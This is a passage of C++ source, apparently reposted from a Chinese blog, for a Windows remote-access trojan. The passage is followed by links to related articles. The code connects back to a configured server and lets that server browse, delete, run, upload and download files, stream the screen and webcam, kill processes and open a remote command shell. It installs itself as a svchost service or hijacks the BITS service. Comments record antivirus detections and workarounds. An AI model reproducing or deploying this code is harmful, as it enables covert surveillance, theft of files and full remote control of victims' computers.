  356.     msgHead.dwCmd = SOCKET_FILEMANAGE; 
  357.     msgHead.dwSize = 0; 
  358.     if(!SendMsg(FileSocket, chBuffer, &msgHead)) 
  359.     { 
  360.         if(chBuffer != NULL) 
  361.             delete []chBuffer; 
  362.  
  363.         closesocket(FileSocket); 
  364.         return 0;//send socket type error 
  365.     } 
  366.  
  367.     while(1) 
  368.     { 
  369.         //接收命令 
  370.         if(!RecvMsg(FileSocket, chBuffer, &msgHead)) 
  371.             break; 
  372.  
  373.         //解析命令 
  374.         switch(msgHead.dwCmd) 
  375.         { 
  376.              
  377.         case CMD_FILEDRIVER://获取驱动器 
  378.             { 
  379.                 FileListDirver(chBuffer, &msgHead); 
  380.             } 
  381.             break; 
  382.         case CMD_FILEDIRECTORY://获取文件夹 
  383.             { 
  384.                 FileListDirectory(chBuffer, &msgHead); 
  385.             } 
  386.             break; 
  387.         case CMD_FILEDELETE://删除 
  388.             { 
  389.                 FileDelete(chBuffer, &msgHead); 
  390.             } 
  391.             break; 
  392.         case CMD_FILEEXEC://执行 
  393.             { 
  394.                 FileExec(chBuffer, &msgHead); 
  395.             } 
  396.             break; 
  397.         case CMD_FILEPASTE://粘贴 
  398.             { 
  399.                 FilePaste(chBuffer, &msgHead); 
  400.             } 
  401.             break; 
  402.         case CMD_FILERENAME://重命名 
  403.             { 
  404.                 FileReName(chBuffer, &msgHead); 
  405.             } 
  406.             break; 
  407.         case CMD_FILEDOWNSTART://下载开始 
  408.             { 
  409.                 FileOpt m_FileOpt; 
  410.                 memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt)); 
  411.                  
  412.                 if(CreateThread(NULL,NULL,FileDownThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL) 
  413.                     msgHead.dwCmd  = CMD_SUCCEED; 
  414.                 else 
  415.                     msgHead.dwCmd  = CMD_FAILED; 
  416.                 msgHead.dwSize = 0; 
  417.             } 
  418.             break; 
  419.     /*  case CMD_FILEUPSTART://上传开始
  420.             {
  421.                 FileOpt m_FileOpt;
  422.                 memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
  423.                
  424.                 if(CreateThread(NULL,NULL,FileUpThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
  425.                     msgHead.dwCmd  = CMD_SUCCEED;
  426.                 else
  427.                     msgHead.dwCmd  = CMD_FAILED;
  428.                 msgHead.dwSize = 0;
  429.             }
  430.             break;
  431.             */ 
  432.         default: 
  433.             { 
  434.                 msgHead.dwCmd = CMD_INVALID; 
  435.                 msgHead.dwSize = 0; 
  436.             } 
  437.             break; 
  438.         } 
  439.  
  440.         //发送数据 
  441.         if(!SendMsg(FileSocket, chBuffer, &msgHead)) 
  442.             break; 
  443.     } 
  444.  
  445.     if(chBuffer != NULL) 
  446.         delete[] chBuffer; 
  447.  
  448.     closesocket(FileSocket); 
  449.      
  450.     return 0; 
  451. } 
  452. /// 
  453. DWORD _stdcall ScreenThread(LPVOID lParam) 
  454. { 
  455.     DWORD dwSock = (DWORD)lParam; 
  456.  
  457.     struct sockaddr_in LocalAddr; 
  458.     LocalAddr.sin_family=AF_INET; 
  459.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  460.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  461.      
  462.     //屏幕监控的socket 
  463.     SOCKET ScreenSocket = socket(AF_INET, SOCK_STREAM, 0); 
  464.     if(connect(ScreenSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  465.     { 
  466.         return 0;//connect error 
  467.     } 
  468.     else 
  469.     { 
  470.         //设置发送缓冲区,有利于屏幕传输 
  471.         int rcvbuf = 65536; //64KB 
  472.         int rcvbufsize=sizeof(int);  
  473.         setsockopt(ScreenSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize);  
  474.     }   
  475.      
  476.     //稍微降低进程优先级 
  477.     SetThreadPriority( GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL ); 
  478.     //======================================================= 
  479.     MsgHead msgHead; 
  480.     int nColor = 8; 
  481.     //send socket type  
  482.     msgHead.dwCmd = SOCKET_SCREEN; 
  483.     msgHead.dwSize = 0; 
  484.     msgHead.dwExtend1 = dwSock; 
  485.     if(!SendMsg(ScreenSocket, NULL, &msgHead) || 
  486.        !RecvMsg(ScreenSocket, NULL, &msgHead) )//Get Screen Color 
  487.     { 
  488.         closesocket(ScreenSocket); 
  489.         return 0;//send socket type error 
  490.     } 
  491.     else 
  492.     { 
  493.         nColor = msgHead.dwExtend1; 
  494.     } 
  495.  
  496.      
  497.     XScreenXor m_ScreenXor; 
  498.     m_ScreenXor.SetColor(nColor);//设置位图颜色 
  499.     m_ScreenXor.InitGlobalVar(); 
  500.  
  501.     msgHead.dwCmd = SOCKET_SCREEN; 
  502.     msgHead.dwSize = 0; 
  503.     msgHead.dwExtend1 = m_ScreenXor.GetBmpSize(); 
  504.     msgHead.dwExtend2 = m_ScreenXor.GetInfoSize(); 
  505.     //发送位图信息 
  506.     if (!SendMsg(ScreenSocket, NULL, &msgHead)) 
  507.     { 
  508.         closesocket(ScreenSocket); 
  509.         return 0;//send socket type error    
  510.     } 
  511.  
  512.     DWORD dwFrameID = 0, dwLastSend; 
  513.     BOOL  bNotStop = TRUE; 
  514.     DWORD lenthUncompress = m_ScreenXor.GetBmpSize(); 
  515.     DWORD lenthCompress = (lenthUncompress+12)*1.1; 
  516.     BYTE* pDataCompress = new BYTE [lenthCompress]; 
  517.  
  518.     while( bNotStop ) 
  519.     { 
  520.         dwLastSend = GetTickCount(); 
  521.  
  522.         lenthCompress = (lenthUncompress+12)*1.1;                                   //这里不能少 
  523.         m_ScreenXor.CaputreFrame(dwFrameID);                                        //抓取当前帧                            
  524.         Sleep(10); 
  525.         ::compress(pDataCompress,                                                  //压缩数据 
  526.             &lenthCompress,  
  527.             m_ScreenXor.GetBmpData(), 
  528.             lenthUncompress); 
  529.  
  530.         msgHead.dwCmd     = dwFrameID++;              //当前帧号 
  531.         msgHead.dwSize    = lenthCompress;            //传输的数据长度 
  532.         msgHead.dwExtend1 = m_ScreenXor.GetBmpSize(); //原始长度 
  533.         msgHead.dwExtend2 = lenthCompress;            //压缩后长度 
  534.          
  535.         bNotStop = SendMsg(ScreenSocket, (char*)pDataCompress, &msgHead); //发送数据 
  536.  
  537.         if ((GetTickCount() - dwLastSend) < 110) 
  538.             Sleep(100); 
  539.     } 
  540.  
  541.     //释放掉掉分配的内存，句柄等等 
  542.     closesocket(ScreenSocket); 
  543.     delete [] pDataCompress; 
  544.  
  545.     return 0; 
  546. } 
  547.  
  548. // 
  549. //视频捕捉 
  550. DWORD _stdcall VideoThread(LPVOID lParam) 
  551. { 
  552.     struct sockaddr_in LocalAddr; 
  553.     LocalAddr.sin_family=AF_INET; 
  554.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  555.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  556.      
  557.     //视频捕捉的socket 
  558.     SOCKET VideoSocket = socket(AF_INET, SOCK_STREAM, 0); 
  559.     if(connect(VideoSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  560.     { 
  561.         return 0;//connect error 
  562.     } 
  563.     else 
  564.     { 
  565.         //设置发送缓冲区,有利于视频传输 
  566.         int rcvbuf = 65536; //64KB 
  567.         int rcvbufsize=sizeof(int);  
  568.         setsockopt(VideoSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize);  
  569.     }   
  570.  
  571.     //================================================================== 
  572.     MsgHead msgHead; 
  573.     //send socket type  
  574.     msgHead.dwCmd = SOCKET_VIDEOCAP; 
  575.     msgHead.dwSize = 0; 
  576.     if(!SendMsg(VideoSocket, NULL, &msgHead)) 
  577.     { 
  578.         closesocket(VideoSocket); 
  579.         return 0;//send socket type error 
  580.     } 
  581.  
  582.     /// 
  583.     //Send BITMAPINFO or error code 
  584.     if (!CVideoCap::IsWebCam())    //设备不存在或正在使用 
  585.     { 
  586.         msgHead.dwCmd = 1; 
  587.         msgHead.dwSize = 0; 
  588.         SendMsg(VideoSocket, NULL, &msgHead); 
  589.         shutdown(VideoSocket,0x02); 
  590.         closesocket(VideoSocket); 
  591.         return 1;//send socket type error 
  592.     } 
  593.      
  594.     CVideoCap m_Cap; 
  595.     if (!m_Cap.Initialize())   //设备初始化失败 
  596.     { 
  597.         msgHead.dwCmd = 2; 
  598.         msgHead.dwSize = 0; 
  599.         SendMsg(VideoSocket, NULL, &msgHead); 
  600.         shutdown(VideoSocket,0x02); 
  601.         closesocket(VideoSocket); 
  602.         return 2; 
  603.     } 
  604.  
  605.     msgHead.dwCmd  = 0; 
  606.     msgHead.dwSize = sizeof(BITMAPINFOHEADER); 
  607.     if(!SendMsg(VideoSocket, (char*)&(m_Cap.m_lpbmi->bmiHeader), &msgHead)) 
  608.     { 
  609.         closesocket(VideoSocket); 
  610.         return 3;//send socket type error                
  611.     } 
  612.  
  613.     DWORD dwFrameID = 0,dwLastSend; 
  614.     BOOL  bNotStop = TRUE; 
  615.     DWORD lenthUncompress = m_Cap.m_lpbmi->bmiHeader.biSizeImage - 5;//为啥-5？？ 
  616.     DWORD lenthCompress = (lenthUncompress+12)*1.1; 
  617.     BYTE* pDataCompress = new BYTE [lenthCompress]; 
  618.  
  619.     while (bNotStop) 
  620.     { 
  621.         dwLastSend = GetTickCount();//被卡巴杀 
  622.  
  623.         lenthCompress = (lenthUncompress+12)*1.1;                   //这个不能少 
  624.         ::compress(pDataCompress,                                   //压缩数据 
  625.             &lenthCompress,  
  626.             (BYTE*)m_Cap.GetDIB(), 
  627.             lenthUncompress); 
  628.  
  629.         msgHead.dwCmd     = dwFrameID++;            //帧号 
  630.         msgHead.dwSize    = lenthCompress;          //传输的数据长度 
  631.         msgHead.dwExtend1 = lenthUncompress;        //未压缩数据长度 
  632.         msgHead.dwExtend2 = lenthCompress;          //压缩后数据长度 
  633.          
  634.         bNotStop = SendMsg(VideoSocket, (char*)pDataCompress, &msgHead); //发送数据 
  635.  
  636.         if ((GetTickCount() - dwLastSend) < 100) 
  637.             Sleep(80); 
  638.     } 
  639.  
  640.     if (pDataCompress != NULL) 
  641.         delete[] pDataCompress; 
  642.  
  643.     return 10; 
  644. } 
  645.  
  646. / 
  647. //进程管理线程 
  648. DWORD _stdcall ProcessThread(LPVOID lParam) 
  649. { 
  650.     struct sockaddr_in LocalAddr; 
  651.     LocalAddr.sin_family=AF_INET; 
  652.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  653.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  654.      
  655.     SOCKET ProcessSocket = socket(AF_INET, SOCK_STREAM, 0); 
  656.     if(connect(ProcessSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  657.     { 
  658.         closesocket(ProcessSocket); 
  659.         return 0;//connect error 
  660.     }    
  661.  
  662.     //================================================================================ 
  663.     MsgHead msgHead; 
  664.     char    chBuffer[32 * 1024]; //数据交换区 
  665.  
  666.     //send socket type  
  667.     msgHead.dwCmd = SOCKET_PROCESS; 
  668.     msgHead.dwSize = 0; 
  669.     if(!SendMsg(ProcessSocket, chBuffer, &msgHead)) 
  670.     { 
  671.         closesocket(ProcessSocket); 
  672.         return 0;//send socket type error 
  673.     } 
  674.  
  675.     while(1) 
  676.     { 
  677.         //接收命令 
  678.         if(!RecvMsg(ProcessSocket, chBuffer, &msgHead)) 
  679.             break; 
  680.  
  681.         //解析命令 
  682.         switch(msgHead.dwCmd) 
  683.         { 
  684.         case CMD_PROCESSLIST: 
  685.             { 
  686.                 ProcessList(chBuffer, &msgHead); 
  687.             } 
  688.             break; 
  689.         case CMD_PROCESSKILL: 
  690.             { 
  691.                 ProcessKill(chBuffer, &msgHead); 
  692.             } 
  693.             break; 
  694.         default: 
  695.             { 
  696.                 msgHead.dwCmd = CMD_INVALID; 
  697.                 msgHead.dwSize = 0; 
  698.             } 
  699.             break; 
  700.         } 
  701.  
  702.         //发送数据 
  703.         if(!SendMsg(ProcessSocket, chBuffer, &msgHead)) 
  704.             break; 
  705.     }    
  706.      
  707.     closesocket(ProcessSocket); 
  708.     return 0; 
  709. } 
  710. // 
  711. //远程shell线程 
  712. DWORD _stdcall ShellThread(LPVOID lParam) 
  713. { 
  714.     struct sockaddr_in LocalAddr; 
  715.     LocalAddr.sin_family=AF_INET; 
  716.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  717.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  718.      
  719.     SOCKET ShellSocket = socket(AF_INET, SOCK_STREAM, 0); 
  720.     if(connect(ShellSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  721.     { 
  722.         closesocket(ShellSocket); 
  723.         return 0;//connect error 
  724.     } 
  725.  
  726.     //==================================================================== 
  727.     MsgHead msgHead; 
  728.     char *chBuffer = new char[512 * 1024]; //数据交换区 512KB 
  729.  
  730.     //send socket type  
  731.     msgHead.dwCmd = SOCKET_CMDSHELL; 
  732.     msgHead.dwSize = 0; 
  733.     if(!SendMsg(ShellSocket, chBuffer, &msgHead)) 
  734.     { 
  735.         closesocket(ShellSocket); 
  736.         return 0;//send socket type error 
  737.     } 
  738.  
  739.     while(1) 
  740.     { 
  741.         //接收命令 
  742.         if(!RecvMsg(ShellSocket, chBuffer, &msgHead)) 
  743.             break; 
  744.  
  745.         //解析命令 
  746.         switch(msgHead.dwCmd) 
  747.         { 
  748.         case CMD_SHELLRUN: 
  749.             { 
  750.                 DOSShell(chBuffer, &msgHead); 
  751.             } 
  752.             break; 
  753.         default: 
  754.             break; 
  755.         } 
  756.  
  757.         //发送数据 
  758.         if(!SendMsg(ShellSocket, chBuffer, &msgHead)) 
  759.             break; 
  760.     }    
  761.  
  762.     if(chBuffer != NULL) 
  763.         delete[] chBuffer; 
  764.  
  765.     closesocket(ShellSocket); 
  766.     return 0; 
  767. } 
  768.  
  769. // 
  770. //文件上传下载 
  771. DWORD _stdcall FileDownThread(LPVOID lParam) 
  772. { 
  773.      
  774.     FileOpt m_FileOpt; 
  775.     memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt)); 
  776.  
  777.     struct sockaddr_in LocalAddr; 
  778.     LocalAddr.sin_family=AF_INET; 
  779.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  780.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  781.      
  782.     SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0); 
  783.     if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  784.     { 
  785.         closesocket(FileSocket); 
  786.         return 0;//connect error 
  787.     } 
  788.  
  789.     MsgHead msgHead; 
  790.     //send socket type  
  791.     msgHead.dwCmd = SOCKET_FILEDOWN; 
  792.     msgHead.dwSize = 0; 
  793.     if(!SendMsg(FileSocket, NULL, &msgHead)) 
  794.     { 
  795.         closesocket(FileSocket); 
  796.         return 0;//send socket type error 
  797.     } 
  798.  
  799.     // 
  800.     HANDLE hDownFile = INVALID_HANDLE_VALUE; 
  801.     DWORD  dwDownFileSize = 0, dwBytes; 
  802.     BYTE   SendBuffer[4096]; 
  803.     int nRet =0 ; 
  804.  
  805.     //get download data 
  806.     hDownFile = CreateFile(m_FileOpt.cScrFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 
  807.     if (hDownFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR 
  808.         dwDownFileSize  = 0; 
  809.     else 
  810.         dwDownFileSize = GetFileSize(hDownFile, NULL); 
  811.  
  812.     m_FileOpt.iSize = dwDownFileSize; 
  813.     //send file message 
  814.     if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwDownFileSize <= 0) 
  815.     { 
  816.         shutdown(FileSocket,0x02); 
  817.         closesocket(FileSocket); 
  818.         return 1;//send socket type error                
  819.     } 
  820.  
  821.     //被NOD32启发杀了 
  822. //  HINSTANCE hInst; 
  823.     HINSTANCE hInst = LoadLibrary("kernel32.dll"); 
  824.     if(hInst == NULL) 
  825.     { 
  826.         closesocket(FileSocket); 
  827.         return 0;//send socket type error 
  828.     } 
  829.     typedef BOOL (WINAPI *pReadFile)( 
  830.         HANDLE hFile, 
  831.         LPVOID lpBuffer, 
  832.         DWORD nNumberOfBytesToRead, 
  833.         LPDWORD lpNumberOfBytesRead, 
  834.         LPOVERLAPPED lpOverlapped 
  835.             ); 
  836.     pReadFile MyReadFile; 
  837. //  pReadFile MyReadFile = (pReadFile)GetProcAddress(hInst, "ReadFile");     
  838.  
  839.     //循环发送文件数据 
  840.     while(dwDownFileSize > 0) 
  841.     { 
  842.         if (MyReadFile) 
  843.         { 
  844.             if( !MyReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) ) 
  845.                 break; 
  846.         } 
  847.         else 
  848.         { 
  849.             if( !ReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) ) 
  850.                 break; 
  851.         } 
  852.  
  853.         if( send(FileSocket, (char*)&SendBuffer, dwBytes, 0) <= 0 ) 
  854.             break; 
  855.         dwDownFileSize -= dwBytes; 
  856.  
  857.     } 
  858.     if (hInst) 
  859.         FreeLibrary(hInst); 
  860.     CloseHandle(hDownFile); 
  861.     shutdown(FileSocket,0x02); 
  862.     closesocket(FileSocket); 
  863.      
  864.     return 10; 
  865. } 
  866.  
  867. DWORD _stdcall FileUpThread(LPVOID lParam) 
  868. { 
  869.     FileOpt m_FileOpt; 
  870.     memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt)); 
  871.  
  872.     struct sockaddr_in LocalAddr; 
  873.     LocalAddr.sin_family=AF_INET; 
  874.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  875.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  876.      
  877.     SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0); 
  878.     if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  879.     { 
  880.         closesocket(FileSocket); 
  881.         return 0;//connect error 
  882.     } 
  883.  
  884.     int iOutTime = 60000;//60秒超时 
  885.     setsockopt(FileSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOutTime, sizeof(int));  
  886.      
  887.     MsgHead msgHead; 
  888.     //send socket type  
  889.     msgHead.dwCmd = SOCKET_FILEUP; 
  890.     msgHead.dwSize = 0; 
  891.     if(!SendMsg(FileSocket, NULL, &msgHead)) 
  892.     { 
  893.         closesocket(FileSocket); 
  894.         return 0;//send socket type error 
  895.     } 
  896.  
  897.     // 
  898.     HANDLE hUpFile = INVALID_HANDLE_VALUE; 
  899.     DWORD  dwUpFileSize = 0, dwBufSize = 4096, dwBytes; 
  900.     BYTE   RecvBuffer[4096]; 
  901.     int nRet =0 ; 
  902.  
  903.     //get download data 
  904.     hUpFile = CreateFile(m_FileOpt.cScrFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 
  905.     if (hUpFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR 
  906.         dwUpFileSize  = 0; 
  907.     else 
  908.         dwUpFileSize = 100; 
  909.  
  910.     m_FileOpt.iSize = dwUpFileSize; 
  911.     //send file message 
  912.     if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwUpFileSize <= 0) 
  913.     { 
  914.         shutdown(FileSocket,0x02); 
  915.         closesocket(FileSocket); 
  916.         return 1;//send socket type error                
  917.     } 
  918.  
  919.     while(TRUE) 
  920.     { 
  921.         nRet = recv(FileSocket, (char*)&RecvBuffer, dwBufSize, 0);   
  922.         if (nRet <= 0) 
  923.             break; 
  924.         WriteFile(hUpFile, RecvBuffer, nRet, &dwBytes, NULL); 
  925.     } 
  926.  
  927.     CloseHandle(hUpFile); 
  928.     shutdown(FileSocket,0x02); 
  929.     closesocket(FileSocket); 
  930.  
  931.     return 10; 
  932. } 
  933.  
  934.  
  935. BOOL _stdcall Install(LPCSTR szDllPath) 
  936. { 
  937.     if (modify_data.bReplace) 
  938.         return ReplaceSvchostService("BITS",szDllPath); 
  939.     else 
  940.         return InstallSvchostService(modify_data.strSvrName,  
  941.                                      modify_data.strSvrDisp,  
  942.                                      modify_data.strSvrDesc, 
  943.                                      szDllPath); 
  944. } 
  945.  
  946. BOOL _stdcall Uninstall() 
  947. { 
  948.     if (modify_data.bReplace) 
  949.     { 
  950.         StopService(modify_data.strSvrName); 
  951.     } 
  952.     else 
  953.     { 
  954.         StopService(modify_data.strSvrName); 
  955.         UninstallService(modify_data.strSvrName); 
  956.     } 
  957.  
  958.     return TRUE; 
  959. } 
  960.  
  961. void CALLBACK RundllInstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow) 
  962. { 
  963.     Install(param); 
  964. } 
  965.  
  966. void CALLBACK RundllUninstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow) 
  967. { 
  968.     Uninstall(); 
  969. } 
  970.  
  971.  
  972. //Service HANDLE & STATUS used to get service state 
  973. SERVICE_STATUS_HANDLE hSrv; 
  974. DWORD dwCurrState; 
  975.  
  976. void __stdcall ServiceMain(DWORD dwArgc, wchar_t* argv[]) 
  977. { 
  978.     char svcname[256]; 
  979.     strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well 
  980.     wcstombs(svcname, argv[0], sizeof svcname); 
  981.  
  982.     hSrv = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler ); 
  983.      
  984.     if( hSrv == NULL ) 
  985.         return; 
  986.     else  
  987.         FreeConsole(); 
  988.  
  989.     TellSCM( SERVICE_START_PENDING, 0, 1 ); 
  990.     TellSCM( SERVICE_RUNNING, 0, 0 ); 
  991.          
  992.     //Run My Main Code============= 
  993.  
  994.     HANDLE hThread = CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL); 
  995.     WaitForSingleObject(hThread, INFINITE); 
  996.     CloseHandle(hThread); 
  997.  
  998.     do 
  999.     { 
  1000.         Sleep(100);//not quit until receive stop command, otherwise the service will stop 
  1001.     }while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED); 
  1002. } 
  1003.  
  1004. void __stdcall ServiceHandler( DWORD dwCommand ) 
  1005. { 
  1006.     switch( dwCommand ) 
  1007.     { 
  1008.     case SERVICE_CONTROL_STOP: 
  1009.         TellSCM( SERVICE_STOP_PENDING, 0, 1 ); 
  1010.         Sleep(10); 
  1011.         TellSCM( SERVICE_STOPPED, 0, 0 ); 
  1012.         break; 
  1013.     case SERVICE_CONTROL_PAUSE: 
  1014.         TellSCM( SERVICE_PAUSE_PENDING, 0, 1 ); 
  1015.         TellSCM( SERVICE_PAUSED, 0, 0 ); 
  1016.         break; 
  1017.     case SERVICE_CONTROL_CONTINUE: 
  1018.         TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 ); 
  1019.         TellSCM( SERVICE_RUNNING, 0, 0 ); 
  1020.         break; 
  1021.     case SERVICE_CONTROL_INTERROGATE: 
  1022.         TellSCM( dwCurrState, 0, 0 ); 
  1023.         break; 
  1024.     case SERVICE_CONTROL_SHUTDOWN: 
  1025.         TellSCM( SERVICE_STOPPED, 0, 0 ); 
  1026.         break; 
  1027.     } 
  1028. } 
  1029.  
  1030. int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress ) 
  1031. { 
  1032.       SERVICE_STATUS srvStatus; 
  1033.       srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; 
  1034.       srvStatus.dwCurrentState = dwCurrState = dwState; 
  1035.       srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN; 
  1036.       srvStatus.dwWin32ExitCode = dwExitCode; 
  1037.       srvStatus.dwServiceSpecificExitCode = 0; 
  1038.       srvStatus.dwCheckPoint = dwProgress; 
  1039.       srvStatus.dwWaitHint = 3000; 
  1040.       return SetServiceStatus( hSrv, &srvStatus ); 
  1041. } 
  1042.  
  1043. BOOL APIENTRY DllMain( HINSTANCE hModule,  
  1044.                        DWORD  ul_reason_for_call,  
  1045.                        LPVOID lpReserved 
  1046.                      ) 
  1047. { 
  1048.     switch (ul_reason_for_call) 
  1049.     { 
  1050.     case DLL_PROCESS_ATTACH: 
  1051.         g_hDllModule = (HMODULE)hModule; 
  1052.     #ifdef NETBOT_TEST 
  1053.         CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL); 
  1054.     #endif //NETBOT_TEST     
  1055.         break; 
  1056.     case DLL_THREAD_ATTACH: 
  1057.         break; 
  1058.     case DLL_THREAD_DETACH: 
  1059.         break; 
  1060.     case DLL_PROCESS_DETACH:         
  1061.         break; 
  1062.     } 
  1063.     return TRUE; 
  1064. }
  1065. 原文地址：http://blog.youkuaiyun.com/yincheng01/article/details/7214474
分析C++软件问题的实用软件与高效工具实战案例集锦汇总
dvlinker的技术专栏
06-26 13万+
C++软件分析工具案例分析集锦！根据近几年C++软件异常排查的项目实践，详细地讲述如何使用PE工具、Dependency Walker、GDIView、Process Explorer、Process Monitor、API Monitor、Clumsy、DebugDiag、Windbg、IDA Pro等常用分析工具，以及如何使用这些工具去巧妙地分析和解决日常工作中遇到的问题，有很强的实战参考价值！
C++软件调试与异常排查从入门到精通专栏介绍与文章汇总
热门推荐
dvlinker的技术专栏
06-29 21万+
根据近几年排查软件异常的实践与经验，系统地讲解了C++软件异常常见原因与常用排查方法，以图文并茂的方式给出具体的分析实例，带领大家逐步掌握C++软件异常排查的相关技术与要领。
基于visual c++之windows核心编程代码分析（18）远程代码注入执行
尹成的技术博客
12-17 3737
我们进行系统级别的安全监控的时候，防范木马的时候，经常需要进行远程代码注入执行。执行步骤如下1. 提升进程权限，如果权限不够的话，很容易造成 OpenProcess 失败;2. 确定你的宿主进程，即你所要注入代码的进程，这个其实很好办，你要是不想你的木马或者病毒被别个一下子就结束了的话，   最好是选择系统要想运行，则必须开启的那种进程，比如资源管理器进程 Explorer.exe,   Wind
基于visual c++之windows核心编程代码分析（21）获取和设置环境变量
weixin_30289831的博客
12-17 173
环境变量是一个具有特定名字的对象，它包含了一个或者多个应用程序所将使用到的信息。例如path，当要求系统运行一个程序而没有告诉它程序所在的完整路径时，系统除了在当前目录下面寻找此程序外，还应到path中指定的路径去找。用户通过设置环境变量，来更好的运行进程。环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数，比如临时文件夹位置和系统文件夹位置等。这点有点类似于DOS时期的默认路径，当你...
基于Visual C++之Windows核心编程代码分析（3）实现程序自动安装
学习笔记
12-25 1283
我们进行Windows编程的时候，经常需要开发程序，使程序进行自动安装。 具体如何实现呢，请见代码实现与注释分析。 [cpp] view plaincopyprint? **************************************/   /* 头文件 */   #include    #include    #include
基于Visual C++之Windows核心编程代码分析（1）实现设备管理器枚举设备
chengyixian7877的博客
03-09 137
我们进行Windows编程的时候，有些时候需要枚举设备，例如光盘，光驱，硬盘等等， 我们如何实现功能呢，请见代码分析 #include <windows.h> #include <setupapi.h> #include <stdio.h> ...
精通Windows.API-函数、接口、编程实例.pdf
01-27
1.1.4　start.c代码分析　2 1.2　编译代码　3 1.2.1　安装Visual Studio　3 1.2.2　安装Microsoft Platform SDK　4 1.2.3　集成Microsoft Platform SDK与Visual C++速成版　5 1.2.4　Vista SDK与Visual Studio 2008...
C++ 远程控制编写，29款源代码
06-09
本源代码只供研究，切莫用于非法用途，因此产生后果与本人无关！ 技术无好坏之分，公司视频会议，聊天软件所用到的技术，和远程控制软件所用到的技术相同(有C++基础，或愿意学C++的人推荐下载)。
用C++实现远程控制
11-09
实现远程控制。分客户端和服务器端。可实时地监控和操纵远程机器且清晰度较高。
C++控制远程桌面
01-03
C++控制远程桌面
远程桌面(带C++源码)
06-20
本软件具有像winxp的远程桌面的功能外，还具有可选像素的功能，可实现远程桌面监视、远程桌面控制等功能，有需要的可参考下，谢谢大家支持~
基于C++实现的支持多操作系统，跨平台，跨协议，跨互联网的远程控制、远程桌面软件源代码
最新发布
04-05
基于C++实现的支持多操作系统，跨平台，跨协议，跨互联网的远程控制、远程桌面软件源代码 一个跨平台，支持多协议的远程控制软件。 能让你在任何地方使用任何设备和系统通过任意方式远程管理任意设备和系统。 它包括远程桌面、远程终端等远程控制功能 支持操作系统 Windows 7 SP1 及以后 Unix/Linux Android 支持协议 远程控制协议 VNC（虚拟网络计算）也叫 RFB(远程帧缓存): https://github.com/rfbproto/rfbproto RDP（远程桌面协议）: https://github.com/FreeRDP/FreeRDP/wiki/Reference-Documentation Spice: https://www.spice-space.org/ 终端 SSH: https://www.rfc-editor.org/info/rfc4251 TELNET: https://www.rfc-editor.org/info/rfc318 scrcpy: https://github.com/Genymobile/scrcp
基于Visual C++之Windows核心编程代码分析（2）实现Windows用户管理
flyingleo1981的专栏
12-08 1074
在Windows编程中间，我们经常需要添加用户，删除用户，添加用户组等等功能，那些功能如何实现呢，我们请见实现代码与注释分析     [cpp] view plain copy /* UNICODE */   #ifndef UNICODE   #define UNICODE   #endif   /* 头文件 */   #incl
基于visual c++之windows核心编程代码分析（11）实现屏幕截取
fdgugfv的博客
02-12 232
基于visual c++之windows核心编程代码分析（11）实现屏幕截取
